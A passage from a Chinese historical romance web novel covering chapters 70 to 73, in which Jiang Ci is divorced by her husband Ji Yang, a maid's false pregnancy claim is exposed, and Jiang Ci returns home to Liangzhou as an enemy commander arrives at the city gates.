姬阳动作一僵,愣在原地。他下意识往后退了一步,以为是自己身上还沾着泥血,轻声解释道:“是我不好……我这身太脏了。”
可姜辞的目光并未落在他身上,仿佛那种回避,连理由都不必多给。
姬阳还未从姜辞忽然避开的动作中回过神来,下一刻,姜辞已站定在厅中,语气平平地开口:“我今日来,是为一事而来。”
姬阳眸光微敛,隐隐察觉到什么,缓声问:“何事?”
“我想请都督纳妾。”她轻声说道,语气却如石子入湖,砸进他心头。
姬阳的眉头当即拧起:“纳妾?你让我……纳妾?是我打仗把耳朵打坏了,出现幻听了吗?”
姜辞抬眸,目光直直看向他,吐出几个字:“我想要你纳了楚窈。”
他顿住,确定自己没有听错,怔然问:“姜辞,你知不知道你在说什么?”
“纳她为妾。”她重申了一遍,目光冷静,嗓音平淡。
姬阳的脸色一点点沉了下去。
“你疯了吗?”他嗓音低沉,里头带着隐忍的怒意,“哪有妻子逼着夫君纳妾的?姜辞,你到底——”
“你别说了。”姜辞打断了他,嘴角浮起一丝讥讽的笑,“我只是……看错了你罢了。你从来都不是我以为的那种人。你懦弱,负心,做了却不敢认,还要我来替你善后。”
她声音越发冷静,眼里却仿佛藏着风暴。
姬阳的脸色瞬间变了,他向前一步,沉声质问:“你到底在说什么?我做了什么?”
“你自己心里清楚。”她冷声回道。
“姜辞!”姬阳几乎要将她的名字吼出来,“你竟这样看我?连问一句都不愿?”
姜辞摇了摇头,神色淡漠:“我如今才明白,所谓两心相悦,不过是我的一厢情愿。你当初说过,我们的婚姻不过是权宜之计,不必装模作样。如今,也该回到原点了。”
姬阳的胸腔像被什么死死堵住,他声音哑得厉害:“你……是何意思?无论我做过什么,你得给我一个解释的机会吧?”
姜辞冷笑一声:“若你舍不得开口,那我替你说,你休了我吧。”
空气在这一瞬间凝住。
他望着她,仿佛不认识眼前的这个人:“你让我……休你?”
“对。”姜辞一字一顿地说道,“反正你我之间从来就不是情深意重,我不过是凉州送来的一颗棋子。如今棋盘已稳,棋子自也可以丢了。”
姬阳的手微微颤了一下,声音也发着抖:“那你对我的喜欢呢?也是假的吗?”
姜辞眸光一闪,像是被刺了一下,但终究轻笑道:“是,你满意了吗?”
那一刻,姬阳心里绷着的一根弦终于断了。
姬阳快步走向案前,抽出笔墨,神色冷峻如铁,墨迹未干时,陆临川和杜孟秋在外面听到此处,急匆匆赶进厅来。
陆临川眼见他执笔,心中一惊,连忙上前一步,低声道:“主公,万万不可啊!”
姬阳头也未抬,声线低沉:“她执意如此,还要我如何?”
“可姜姑娘性子温良,向来知礼识大体,怎会无故言辞狠厉?”陆临川劝道,“此事多半另有隐情,主公若真将她休了,待日后真相浮出,又当如何?”
姬阳的笔顿了一瞬,似有一丝迟疑。
杜孟秋也出声附和:“主公,眼下您怒火正盛,此等大事,若是一时冲动,怕是——”
话未说完,姬阳猛地抬起头来,眉眼间写满疲惫与冷厉:“她若真信我,怎会当面逼我纳妾、骂我懦弱?她既如此薄我,那便如她所愿。”
他话音未落,手中纸笔已落,墨痕沉重,划出一道决裂的痕迹。
他一把将那封休书摔在姜辞脚边。
“东阳侯府不容她,我也不留她。”他的目光冷如刀锋,声音喑哑,“送她回凉州。”
陆临川咬了咬牙,终究没再说话,杜孟秋也沉默地垂首。
他的声音冷得像冰,却藏着破碎的怒意,“从今往后,你是你,我是我。你走你的凉州路,我守我的东阳土。”
说罢,他甩袍转身,对外唤道:“陆临川,杜孟秋,走,时间紧迫,随我抬棺去见钟夫人。”
姜辞怔在原地,看着那张纸慢慢飘落在脚边。
那是休书。
她没想到,姬阳真的……给她写了休书。
“汝姜氏辞,性行乖张,言语悖逆,失妇德,逆人心。
姬某识人不明,误将情深付与,今愿绝情割爱,遣归旧里。
自此一别,永不相扰,生死勿复相闻。
休书一纸,以明大义。
东阳侯姬阳谨启。”
她一字一句读完,回头望着他决然离去的背影,眼前一阵发黑,胸口像是被生生剜下一块,疼得无法呼吸。
“生死勿复相闻。”
姜辞低声念了一遍,指尖轻抚那句字,仿佛每一笔都带着寒意。她望着那行墨迹,静默良久,忽地闭上眼,深深吸了口气,将那张休书轻轻折起,收进怀中。
她转身走出主厅,门外秋风乍起,吹动廊下石灯微微晃动。晚娘迎了上来,脸上满是焦急,刚要开口,姜辞却轻声道:“晚娘,你什么都不必说了。我们回凉州。”
语声平静,却听不出一丝退意。
晚娘一怔,忙随着她回府。一路上她踌躇不语,直到回到东阳侯府,终是忍不住开口:“姑娘……您当真要走吗?”
姜辞站在屋檐下,望着天边斜阳,神情淡然:“留在这里做什么?我姜辞也是有骨气的。若他心甘情愿纳妾,我便也不必委屈自己。如今这休书落在我手里,倒也落得痛快,我本就不愿与人共享夫君,这下更好,我们回凉州,过我们的日子。”
她语气轻描淡写。
晚娘欲言又止,随即问道:“那姑娘的嫁妆……是否要与姬夫人说上一声?”
姜辞轻轻摇头:“婆母待我一向极好,我回凉州后,自会亲笔修书一封,报一声平安。至于那些嫁妆——就当是我买下凉州的平安了。如今别惊动她,若是惊动了,恐怕这趟路便走不成了。”
她说罢,目光一顿,转头吩咐道:“去,把银霜唤起来。收拾东西,我们走。”
晚娘应了一声,只觉鼻尖一酸,终是红了眼眶,转身而去。
主仆三人简单打点行囊,避开府中人眼耳,悄然而出。府门静默,连鸟雀都不曾惊动一只。
银霜早已将马车牵来,立在巷口候着。姜辞临上车前,回身看了一眼门上的匾额东阳侯府四字。
她只淡淡看了一眼,眸中没有一丝留恋,旋即收回视线,提裙登车,轻声吩咐:
“我们走吧,回家了。”
另一边,钟府巷外,乌云密布,暮色沉沉。
陆临川走在最前,双手高捧漆木托盘,其上放着钟嗣的披风与
铠甲,仍沾着血痕,与泥灰杂糅,沉甸甸地压着所有人的心。
其后,姬阳与几位东阳主将抬着裹着黑白素幔的棺木,脚步整齐沉缓,一语不发。
街巷两旁百姓纷纷止步回避,齐齐俯身低头,无人敢出声。
钟府门前,老仆奔出,跪倒在地,声音嘶哑:“都督……夫人正在内屋……奴才这就去禀。”
话音未落,钟夫人已闻讯而来。她身着素衣,满目憔悴,本还撑着一丝希望,直到看见那口熟悉的战棺。
她僵在原地,脚步一顿,喉中发出一声短促的哽咽,猛地扑上前,却在离棺木尚有数步之距时,身形一软,直直昏厥倒下。
“夫人!”下人惊呼一声,连忙将她扶走。
姬阳双唇紧抿,眉目间如覆寒霜。将棺稳稳安置于钟府正厅后,他默然立在棺前,不发一言。
将士们纷纷站定,一字排开,神色肃然。
雨渐渐落了下来。
淅淅沥沥,从乌压的天幕落下,落在石阶上,落在棺上,也落在姬阳的肩头。
他静静站着,脸上分不清是雨还是泪。他曾许诺亲自将钟嗣带回家,如今信守了承诺,却是以这等方式。
“钟嗣……”他低声开口,嗓音沙哑哽咽,字字如刃。
“你不是说还要教你儿子练箭,还欠你夫人一只青州的白瓷钗盏吗?你不是说,要我封你去燕南,建座小庄子,种杏花……你说你还要活。”
雨声渐密,风起衣角,却无人言语。
他抬手,将身上的战袍披风解下,亲自覆在棺上。陆临川默默退后半步,站于他身侧,其余众将也齐齐抱拳,低头肃立。
这一刻,没有号角,没有哀乐,唯有风雨为引,青瓦旧庭,替东阳军的骁勇将魂,送上诀别。
许久,姬阳低声道:“好兄弟,我答应你,日后你的儿子,东阳军来养。你妻子,东阳军来护。”
说罢,他一拳擂在自己的胸口,像是将这句誓言烙进骨血。
雨,越下越大。
他却站得笔直如枪,纹丝不动。
这一日,钟嗣归家。而姬阳,将这一份兄弟情,埋进了雨中,也埋进了心底最沉的角落。
连续两日,姬阳亲自带人入钟府操持丧事,从选墓入棺到送魂焚纸,凡事都不假他人之手。钟嗣是他并肩七年的兄弟,这一别,永绝。
直到第三日傍晚,东阳侯府正门缓缓开启,风尘仆仆的姬阳终于回来。
他一踏入府中,便有一抹身影快步而来,将他拦在了垂花门下。
“阿辞呢?”姬夫人沉声问他,神色已不复往日从容。
姬阳闻言一怔,像是心口忽然被针扎了一下。但很快,他冷笑一声,语气冰冷:“我把她休了,她爱去哪儿去哪儿。”
啪——
巴掌毫不犹豫地落在他脸上,清脆刺耳。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
70-80
第71章
姬阳怔住,半边脸迅速红了,唇角泛起一点血痕,却没有动。
“你这个混账!”姬夫人颤声怒斥,眼圈通红,“你可知,当年你能从凉州活着逃出来,是姜怀策冒死,暗中替你开路!”
姬阳猛地抬头,眼中满是错愕:“你说什么?”
“姜家,从未害你,阿辞入府,我便想成全你们,好叫你不必背负仇怨,也不必辜负她。可你呢?你冷她、误她,如今又休了她,就为了一个……一个来历不明的婢女?”
姬阳只觉心口一阵空洞,仿佛有人狠命扯掉了他最后一层遮羞的皮。他握紧拳头,声音低哑而僵硬:“这么重要的事,你为何不早说?”
姬夫人冷笑:“早说?你愿意听吗?”
姬阳胸口起伏,眉目翻涌着暴烈的风暴。他仿佛想说什么,却终究只是缓缓垂下手,嗓音几不可闻:“可现在……说这些,还有什么用?”
“我本已放下凉州旧怨,可她……却在我心口扎了一刀。”
“你心口的刀,不是姜辞给的!”姬夫人怒意未消,直接伸手揪住了他胸前衣襟,将他扯得踉跄半步,“你还不明白你究竟做了什么?你跟我来——我让你亲眼看看你这个心口之刀到底是怎么来的!”
她转身快步走进内院,姬阳沉着脸跟上。
屋内,香炉袅袅,楚窈安静坐在椅上,身旁一杯热茶未动,手却落在腹上,目光柔软得几乎令人错认她是位温婉的待嫁女子。
姬阳一进门,神色一凛:“她怎么还在?这不是姜辞从宁陵带回来的婢女吗?怎么没随她一同走?”
姬夫人缓缓转身,看着他,一字一顿问道:“你酒后对她做了什么?”
姬阳整个人一震,眼神变得凌厉无比。他难以置信地看着母亲,嘴角抖了一下:“娘,我是你儿子,你难道不了解我?你觉得……我会在醉酒后,对她那样的……”
话未说完,他已从腰间拔出佩剑,他走到楚窈面前,冷声问道:“你肚子里是谁的种?你最好给我说清楚。”
楚窈脸色一白,身子一颤,瞬间跪倒在地,脸上浮出惊慌之色:“都督……那一夜……奴婢也是被逼无奈……那日您唤奴婢入屋奉茶,奴婢……奴婢怎么也没想到……”
她话未说完,姬阳的剑锋已经搭在她肩头。
“我何时唤过你?你若再敢攀咬一句,我今日就连你腹中的孽种一并宰了!”姬阳低吼,字字咬碎,从齿缝中逼出杀意。
楚窈顿时花容失色,瘫软在地,颤声哭喊:“奴婢不敢!奴婢……奴婢只是害怕……奴婢只是怕肚子里的孩子没名没分……”
“名分?”姬阳怒极反笑,回身对姬夫人低声吼道,“你听听她说的,这样的人,就算没有姜辞,我都不会看她一眼。”
姬阳眼中寒意逼人,脚步一沉,缓缓朝楚窈逼近。
她正跪伏在地,面如白纸,手死死捂着腹部,整个人如筛糠般颤抖。可那点柔弱的可怜模样,在姬阳看来,恶心至极。
“你撒的每一个谎,都是在泼脏水。”他的声音低得像是从喉底挤出来,“既敢怀这孽种,就该承受代价。”
他猛地一把揪住她的衣领,将她从地上拎起。
“在这屋里杀了你,脏了我母亲的地方。”他语气冰冷至极,拖着她就要往外走。
“都督——!”楚窈惊叫,死命挣扎,却根本撼动不了他的臂力,连声哭喊,“我错了!我真的不是有意的……是我太怕了,是我——”
“怕?”姬阳嗤笑,“你胆子不小,攀咬我都不带眨眼的,还是说你没听说过我的名号?”
话音未落,院门处忽地传来一阵急促的脚步声。
“都督——等等!”
越白跌跌撞撞奔进来,额上满是冷汗,一见姬阳拖着楚窈往外走,立刻扑通一声跪在地上,双手张开,挡在两人之间。
“都督!孩子……是我的,是我与楚姑娘的孩子!”
这一句话,如重锤落地,整个屋前霎时死寂。
姬阳身形一顿,半晌没动。楚窈则猛地望向越白,眼中是又惊又怕,此刻看他像救命稻草。
越白跪在地上,额头贴地,声声颤抖:
“是我……是我不愿她在府中一辈子做奴婢,是我不想我自己的孩子出生后也做奴婢。是我出的主意,让她攀上您,借您的名头,给孩子求一个好身世。我怕若我们私自成亲,将来这孩子身份低贱,被人看轻……”
“她从未想害您和夫人,一切都是我安排的,都督……您要杀,就杀我。”
姬阳听完,久久未动,嘴角却忽地扯起一个冷笑。
他松开了手,楚窈跌坐在地,哭得断断续续。
姬阳慢慢垂眸,看着跪在脚边的越白,喉结微动,忽而低低地笑了两声,那笑意却带着彻骨的冷。
“越白,你随我多年,我待你如何?”
越白咬着牙,头也不敢抬:“都督待我恩重如山,属下知错。”
姬阳的笑容逐渐敛去,取而代之的是疲倦与恨意交织。
他反手将剑丢在地上,发出一声震响。
“你娘临终前把你托付给我,叫我护你一世周全。我本以为你忠诚质朴,不会负我。
可你……竟然为了一个女人,背刺了我。”
他的眼神,像是看透了这个曾陪他数年的少年——陌生又荒唐。
“我不杀你。”
“但你若还有一点血性,就自己了断。”
说完这句,姬阳转身,脚步沉稳地走远,连头也未再回。
剑身寒光映着灯火,越白跪在原地,迟迟未动。楚窈一边哭一边颤抖地爬到他身边,死死抱住他,不住低声哀求:“越白,我们该怎么办啊……”
门外的雨声已停,天却未放晴,乌云低垂,压得人几乎喘不过气。
姬夫人立在门槛处,不怒自威,一双眼冷冷望着屋内这场闹剧。眼前的楚窈瘫软在地,狼狈哭泣;越白跪地拾起那柄佩剑,手微微发颤,眼中却是一片死意。
他缓缓举剑,回身看向楚窈,唇角扯出一抹凄然的笑:
“窈儿……照顾好我们的孩子,我先走一步。”
剑锋正要横向抹过颈间——
忽听一声轻喊:“等一下!”
众人一惊,纷纷转头望去。
只见一名着粗布青衣的婢女从廊下奔出,脸色煞白,正是林春。
姬夫人目光一沉,冷声问道:“你是何人?”
林春低头应道:“奴婢是新来的婢女林春,服侍后院洒扫。奴婢……奴婢有些话,想跟夫人禀报。”
姬夫人眯了眯眼,沉默片刻,抬手示意:“允了。”
林春小心起身,踱至姬夫人身边,压低声音,将那夜她无意间听见楚窈与越白的密谋,一五一十地禀了出来——如何蓄意设计、如何欲攀都督名头以求高门细节都未遗漏半分。
每说一句,姬夫人的神情就冷上一分,直至林春话落,她已彻底收敛了唇角所有的温意。
她眼神如刃,落在楚窈身上。
楚窈此刻已吓得瘫坐在地,唇角颤抖,满脸苍白,竟一句辩解都说不出来。
林春退到一侧,低眉顺眼,却仍心跳如擂。
姬夫人缓缓开口,声音清晰如寒霜:
“越白,看在你娘当年在我膝下伺候多年的情分,我今日留你一命。”
她微微侧首,盯着他:“你本是个忠厚孩子,却被这样一个粗鄙低俗的女子三言两语蛊惑,险些酿下弥天大祸。你可知,若今日让她得逞,我姬家要背多少脏水?”
越白跪在原地,身形僵住,眼泪啪嗒砸在地上。
姬夫人抬起手,一挥袖,冷声道:
“来人——将楚窈发卖为奴,打上贱籍文书,逐出丰都城,不得踏回半步!”
这话落下,几个婆子已从外院冲进来,手持绳索与束缚布巾。
楚窈惊恐地尖叫一声,爬到姬夫人面前,拼命磕头,哭声撕裂:“夫人饶命……是我错了,是我鬼迷心窍……夫人……求您高抬贵手,求您——”
越白也扑上前,跪行几步,死死抓住姬夫人的衣摆,泪眼婆娑:
“夫人,求您……放过她一次,她已怀有身孕,她知错了……她知错了啊……”
姬夫人垂眸,眸光如冰。
“就是因为知道她已有身孕,我才饶她一命,这已是极限。”她语气清清淡淡,却透着不容置疑的冷意,“你若再敢求一句,我便将你们一道送上黄泉,做一对亡命鸳鸯,好叫你们日后往生路上继续缠绵。”
越白的手僵住了。
他咬紧牙关,缓缓松开了姬夫人衣摆,颓然跪回地上,不敢再言。
几个婆子立刻上前,将楚窈死命拉起。她哭得撕心裂肺,眼泪鼻涕糊满一张脸,仍不肯罢休:
“越白——你不是说你会护我一辈子的吗?你不是说你会娶我的吗——!”
越白闭着眼,一言不发,只将额头死死磕在地上,刚才他想自刎,是想对都督以死谢罪的。
姬阳回到了姜辞曾睡过的屋子。
屋内尚留着她的气息,陈设依旧,一切似乎都未曾改变,却又处处透着空落。她收拾得匆忙,几件绣帕落在角落,还有他亲手送给她的生辰礼物,静静摆在案几上,未曾带走。
姬阳站在屋中,一动未动,目光缓缓扫过她曾坐过的软塌,曾倚过的窗棂,每一寸都像在拷问他的心。
他缓缓攥紧拳头,掌心淌出冷汗。良久,终是松开。
他回头看了一眼那扇敞开的门,门外空无一人,连风都静了。
那日,她站在他面前,眼中带泪,却字字带刃,说不愿与人共享夫君,说他懦弱,敢做不敢认……
原来,是这件事,怪不得自从那日楚窈从他房间离开后,她莫名的冷淡,他应该早有察觉。
姬阳抬眸看向窗外。院中一株桂花树的树叶微动,他猜,姜辞也是坐在这里给他绣虎符,一针一线。
他只觉得此刻喉咙里像被生生灌入一碗滚烫烈酒,灼得他五脏六腑都在发颤。
他以为她是在胡闹,也因惦念钟嗣的遗孤,心神交乱,竟未耐心与她问一句缘由。
“她是信我的……”他喃喃开口,声音轻得几不可闻,“她是信我的,可我连问都没问一句。”
屋外脚步声响起,不知何时,陆临川来了。
他站在门侧,望着屋内神色凝重的姬阳,缓缓叹了口气,道:“主公,你们之间……不过一场误会。”
“那日确实仓促,钟嗣的死对你打击太重,你乱了方寸,她也误会了。不如,趁着为时未晚,将她追回来。”
第72章
深秋时节,寒风拂面。
西行的官道两旁,枯枝随风摇曳,车辙浅浅深深,一辆马车缓缓驶过山坳,车窗揭起一角,露出车内女子的眉目。
姜辞披着斗篷坐在车中,手中捧着一个汤婆子,眼神落在窗外流动的风景上,半晌未动。
马车行至山脚,前方现出一座古寺,银霜勒住缰绳,回头唤道:“姑娘,前头有座寺庙,咱们歇口气罢。”
姜辞点头,掀帘下车,信步走下马车,看着不远处寺门口写着千华寺三个字。
千华寺古朴寂静,寺前落叶铺满石阶,空气中带着松木香与初冬的寒气。
姜辞在溪畔立了会儿,低头发呆,腰间的一个小香囊忽然滑落,随风落入水中,打着旋儿浮浮沉沉。
她一怔,下意识俯身欲取,香囊却往下游漂去,姜辞正欲放弃之际,却见一道人影已抢先一步踏入溪中,俯下身将香囊捞了出来,水珠从他指间滚落,溪水洇湿了袖角。
“施主的物件。”那人低着头走来,将香囊递上,声音清和如雪,低而温缓。
姜辞正要接过香囊,目光顺势看去,骤然对上一张清瘦却熟悉的脸。
她怔住:“……谢归璟?”
那僧人也是一震,片刻才低下头去,欲转身离开:“在下已剃度,不复旧名。”
“你等等。”姜辞伸手拦住他,盯着他灰布僧衣下那张本应意气风发、如今却沉寂如尘的面容,“你为何出家?”
谢归璟避开她的目光,只道:“一念起,一念灭,红尘事我已看淡,出家是心中选择。”
姜辞望着他,神色复杂。
她记得他风光霁月,才情出众,曾与她并肩行在紫川帮助百姓,一个月前丰都才别,怎么忽然,就成了如今模样。
“你可是发生了什么事?”她问得很轻。
谢归璟眼底微闪,唇角一抿,摇头笑了笑:“施主误会了,贫僧心已无牵。”
姜辞没再追问,只是看着他的神色复杂。
谢归璟笑了笑,却比哭还难看,他轻声问:“你……是回凉州省亲?”
姜辞看他一眼,神情淡淡:“不是。我被姬阳……休了。”
谢归璟微怔,眼底一抹错愕稍纵即逝,随即低头一笑,笑意苦涩如水。
果然,他与阿辞终究是无缘之人。
哪怕他未出家,那一桩耻事之后,也再无颜面站在她面前,更遑论提亲。
他抬眸望她一眼,随即合掌低首,语声温和却带着些许小心:“施主今日……可有落脚之处?”
姜辞摇了摇头,道:“我们本打算在此歇歇脚,一会儿继续赶路,若顺利,天黑前能赶到下一个驿站。”
谢归璟沉吟片刻,语声放缓:“既如此,不如暂宿千华寺。此处即便只是路过,也是与佛有缘。寺中设有清净院落,可供恩客小住,虽是粗茶淡饭,聊表心意……你若不嫌弃,便请吧。”
姜辞闻言心头微动,看着他越发别扭的神情,点了点头。
这一夜,她留宿千华寺。
暮色沉沉,殿前黄叶纷飞,山门之外早已寂静。千华寺里一片静谧,香烟袅袅升起,掩不住夜色中微凉的风。
谢归璟独自跪坐在禅房内,眉眼低垂,身形静如石像。佛珠一颗颗滑过指间,他眼神落在地面,却始终无法安定心念。
忽而,门外脚步轻响。
寺中主持缓步而入,手中拈香,在他身后静立片刻,忽然开口:
“不可说,说多即错。”
谢归璟神色未动,香烟却缭绕上眼睫,挡不住一瞬的动容。
主持叹息,缓缓道:
“方才你于回廊之下望她的眼神,已不是佛门弟子该有的清净之心。既已剃度,便当断红尘;若心未静,误的是佛缘,也是你自己。”
谢归璟低头不语,许久,才沙哑应道:“弟子心无波澜。”他语气僵硬,像是在给自己洗脑。
夜更深,姜辞独坐寺中回廊。庭中银杏已染金黄,叶片随风缓缓飘落,轻盈坠入佛池之中,泛出一圈圈涟漪。
她一动不动地看着,目光幽远,神色平静中隐隐有碎裂,她想起那封休书上最后一句话,轻轻念出口——
“生死勿复相闻。”
声音极轻,却被银霜听见。她回头望了一眼,未敢出声,只转身回屋,给姜辞留了一盏灯。
第二日天色放晴。
姜辞执伞立在寺门口,对谢归璟点头告别。
谢归璟站在石阶之上,合掌说道:“施主,今日一别,之后只有明湛,再无谢归璟。”他眼里一片沉静,目送她离开的背影,一直未移开。
银霜扶姜辞上了马车,车轮滚动,驶向凉州方向。
此时的丰都。
姬阳交代完战后事宜,命陆临川与主将韩越分守两道防线,稳固东阳城防。随后,他便纵马西行,未做多余停留。
临行前,只换了一件锦袍——那是姜辞在宁陵为他缝的。
他未曾说出口的惦念,如今一日深过一日。他心知,再不追,怕是便追不上了。
马蹄疾飞,深秋风起,林叶尽黄,他的身影自丰都城门外掠过,在金风寂野中渐行渐远。
几日后,凉州,紫川城。
姜辞的马车终于穿越长路,缓缓驶入熟悉的街道。她掀开帘子望去,街边一切似乎并无变化,仍是旧时模样,却又像蒙了重重一层霜雾,陌生而遥远。
姜府门前,守门侍从见是小姐归来,连忙去禀。
不多时,姜怀策便快步迎出。他年岁未改,仍是一副铮铮硬骨将姿,只是眼中情绪复杂难言。
姜辞下车,深深向父亲行了一礼。
“父亲,我回来了。”
姜怀策看着她眼底沉静的倔强与疲惫,开口却只是淡淡一句:“回来就好,外面凉,赶紧进来。”
姜辞随姜怀策入了内堂。
屋内炉火暖融,她卸下披风落座,银霜与晚娘退至廊下,将时间与屋子都留给这一对久别重逢的父女。
姜辞低垂着眼帘,沉默片刻,终于缓缓开口。
她将在东阳的经历一一道来,并无太多修饰,也未刻意避重就轻。直到最后,她声音微哑,却极尽平静地道:“……父亲,我与姬阳已和离。他亲手写下休书,如今我已不再是东阳侯夫人。”
姜怀策原本微握着茶盏的手顿住了。
他并未立刻发问,也没有勃然色变,只是长久地凝视着她,眉宇之间沉静如山。良久,他放下茶盏,声音缓慢却有力地道:“你既回来了,凉州便是你永远的根,这里也是你的家,今后,爹护着你。”
简简单单的一句,像是为她掷下一锤定音的归处。
姜辞胸口微颤,强撑的冷静终于松了一分。她本以为父亲会责怪她不顾大局,或追问缘由,可他却什么都没有问——甚至连为什么都不曾说出口。
她忽然觉得鼻腔一酸。
姜怀策继续说道:“这些日子你在东阳,我一直怕你过得太苦,也怕你太懂事,把委屈都咽了下去。”
他顿了顿,眼中已是一片湿润,却仍强自镇定:“我不知道你到底在那府里经历了多少,也许你自己都还没来得及细想。但不必再想了,从今天起,咱们继续快快乐乐的。”
他转头吩咐外头下人:“把西厢清出来,内院再备几件小姐喜欢的物件,好生伺候。”转头又对姜辞说道:“阿辞,你走后,你屋子的东西,我一直保持原样,每日都有人打扫,就想着有一日,你或许会回来。”
姜辞再也绷不住,眼泪终于滚落。
她起身,轻轻扑进父亲怀中,像是小时候风雪夜里摔了跤,想找个可以哭一哭的地方。她紧紧抱着他,哽咽难抑:“我没事的,真的没事……我没有受什么苦……”
“没受苦,怎么回来就哭成这样?”姜怀策抬手轻轻拍她的背,声音低沉温缓,“你是我的女儿,阿辞,我从来没求你多聪明多能干,只希望你平平安安,愿意笑,愿意好好吃饭,好好睡觉。”
姜辞哭得更厉害了。
夜色沉沉,外面的风吹过姜府廊下,松影斜落,一室灯温。
晚娘在厨房里忙了许久,终于捧出一碗热气腾腾的茶汤面,小心放在姜辞案头。
“姑娘小时候最爱这口儿,每回一哭,我就给你煮上一碗,边吃边抹眼泪,吃完就好了。”她嘴上念叨着,却始终没敢去看姜辞的眼,只是背过身抹了抹脸,语气哽了哽,“可惜……眼下是你最不愿让人看见哭了。”
姜辞低头看着那碗面,茶汤清亮,蛋花与香葱交错浮沉,仿佛一瞬回到了多年前那个冬日,自己还会躲在晚娘怀中撒娇的年纪。
她鼻尖一酸,却强忍住情绪,只是道:“晚娘,你也别太操心,我回来了,一切都好。”
一旁的银霜倚在门边,安静许久后,终于开口:“姑娘,我想加入凉州军。”
姜辞抬眼看她,并不意外。
银霜神情坚定:“凉州还在,凉州还需要人,我想替凉州做事,正如小姐所说,护一方也是护一人。”
她声音不高,却铿锵有力,眉目清冷。
姜辞望着她,欣慰道:“明日你自行去营中报名吧,凉州军虽不强,但是也好过没有,我等你成为这凉州的女将军。”
银霜郑重点头,转身退了出去。
灯火渐深,夜静无声。
待晚娘收拾完,姜辞也未再说话,只说自己想坐坐。屋中人退下后,她披衣来到窗前,轻轻推开半扇窗,夜风裹着一丝寒意扑面而来,拂过她耳畔的碎发。
远处灯火依稀,凉州城沉入夜色之中。
她望着天边黑沉沉的方向,目光仿佛穿过千山万水,落在那座遥远的丰都城上。
如今归来,一切恍若隔世。
姜辞的指尖轻轻摩挲着窗框,眼神平静如水,却藏着深不见底的情绪。
那日他说的话,她记得清清楚楚。
可心,终究不是一纸休书便能割断的东西。
姜辞不在去想,而是想着明日,要吃些什么,她已许久没有吃丰都的食物了。
翌日,天光微亮,刺史府院中石径被昨夜的露水润得清润湿滑。
姜辞身着青衣,缓步扶着姜怀策,在庭中绕着一颗枇杷树缓缓而行。父女二人并未多言,只听院中雀鸟啼鸣,一时静谧安然。
姜怀策步履不快,眼角已有细纹,却仍精神抖擞。他偶尔停下脚步,看着树下新露的苔痕,不知在想些什么。
姜辞陪在一侧,也未出声,只是将父亲身上的衣服替他拉紧了一些。
就在此时,府门外传来一阵急促脚步声。
“刺史大人——!”一名守军跌跌撞撞闯入院中,身上满是风尘,额上冒着汗珠,声音带着一丝急迫,“紫川北门急报!瀚北军压境,人数虽不多,但旗号属实,为首一人戴铜面具,
疑似——瀚北燕王楼弃!”
院中顿时一静。
姜怀策神色一变,眼神瞬间凌厉,语气冷峻:“传令,召集军议,立刻去城楼看看。”
守军应声退下。
姜辞闻言,也面色微敛,目光一沉,拢了拢袖中双手,沉声开口:
“爹,我也去。”
姜怀策转头看她一眼,略作犹疑。
姜辞却已抬步向前,语气平静而坚定:“女儿如今已经长大,家中无子,女儿想替您分忧。”
姜怀策终究没有拒绝,只叮嘱:“不可轻敌。”
姜辞颔首:“女儿明白。”
第73章
北城楼上,风声吼啸。
姜辞随姜怀策登上城楼,举目望去,城外旷野之上,寒烟如练,三千瀚北铁骑密密匝匝铺陈开来,旌旗被风吹的扬起,气势逼人。兵马虽不多,却整肃如山。
姜辞眯了眯眼,凝视那片铁甲森然的军阵,沉声道:“爹,他们兵力虽不算庞大,可敢兵临城下,显然……并未将我们凉州放在眼中。”
姜怀策目光微凝,缓缓应道:“凉州军久困边陲,兵弱将寡,这是众所周知的事,他们不放在眼中,也是情理之中。”
姜辞未言,只垂眸望向阵前最前方那名骑者。那人端坐于骏马之上,戴着一副铜质面具,头盔之上嵌着鹰羽,正随风轻摆,寒光与暮气交织,如风中羽刃。
他静静驻在那里,未曾拔刀,却自有一股压迫性的威势。
姜辞的目光落在他身上,心中莫名一动,似有某种熟悉之感自心底缓缓升起。
忽然,那人抬手,将面具自脸上缓缓取下。
铜光褪去,露出一张冷峻清隽的面孔——棱角如削,神情淡淡,眸光如雪夜孤鹰,凌厉中带着几分漫不经心的潋滟。他的目光穿越风声与城墙,定定望向姜辞。
“姜辞,”他唇角微挑,声线低沉,却字字清晰,“我说过,我们还会再见。”
姜辞心头一震,眼中倏然浮现一抹错愕。
是他?
真的是他?
那个曾在宁陵街头,自称“燕渡”的江湖少侠,差点因他导致水淹宁陵郡……他真的是瀚北军中,为首之将。
姜辞一时间未作回应。
对面,楼弃却已策马前移一步,声音清朗从风中传来:“我来,不是为讨伐凉州。我此行,只求借道西行。”
姜辞眉头一动,转身与姜怀策低声道:“他要打北庭。”
姜怀策目光微凝,沉声道:“如今你与姬阳已断,我们也难以再求东阳援手。若眼下便回绝瀚北,只怕将凉州彻底推入孤境。”
他顿了顿,又道:“天下四分,凉州居中,左瀚北,右东阳,前后皆敌,一旦两边俱怒,我们寸步难行。”
姜辞微一思忖,沉声道:“那不如——只放他一人入城,细细斡旋。”
姜怀策望她一眼,颔首应道:“也只有这一个法子。”
姜辞随即上前一步,垂眸俯视楼下,朗声开口:
“燕王既为商议借道而来,却兵临城下,于理不合,若真心相谈,不妨拿出几分诚意。”她语气平稳,目光沉静,“请命你的军队后撤十里,退至郊外驻扎。如此,我便开城迎你入内。”
她本以为对方会与她讨价还价,谁料楼弃只是略一挑眉,唇角勾出一丝笑意,并未争辩,只道:“好。”
说罢,他抬手解下腰间佩刀,转身将其递给身旁副将:“替我收着。”
副将欲言又止:“主上——”
“去。”楼弃只一字,语气清淡,却带着不容置喙的从容。
随后,他策马上前,回身朝瀚北军一抬手,声音高扬:“全军听令——退十里,原地扎营!”
三千铁骑如林,然他一令之下,竟无一人迟疑,井然有序地调转马头,尘沙翻卷间,如潮水般缓缓退去。
他看都未多看一眼,只单人翻身下马,长靴踏地,径直向北城门行来。
他步伐从容,身影挺拔,一人一身素黑战衣,孤身临城,却步步生威。
城楼之上,姜辞目光紧紧落在他身上,直到瀚北军彻底退去,这才微微颔首,下令:
“开城门。”
楼下尘土未歇,城门吱呀缓启。
姜辞随姜怀策自北楼缓步而下,远远便见一人立于石阶之下。
隔着过往,隔着兵戈,两道身影再次迎面而行。
城门初启之刻,姜辞心中竟泛起一丝异样。
那张曾在西岭溪畔于乱军中救过她的面容,如今,却在凉州城下,以瀚北之主、燕王之姿,再度踏入她眼前。
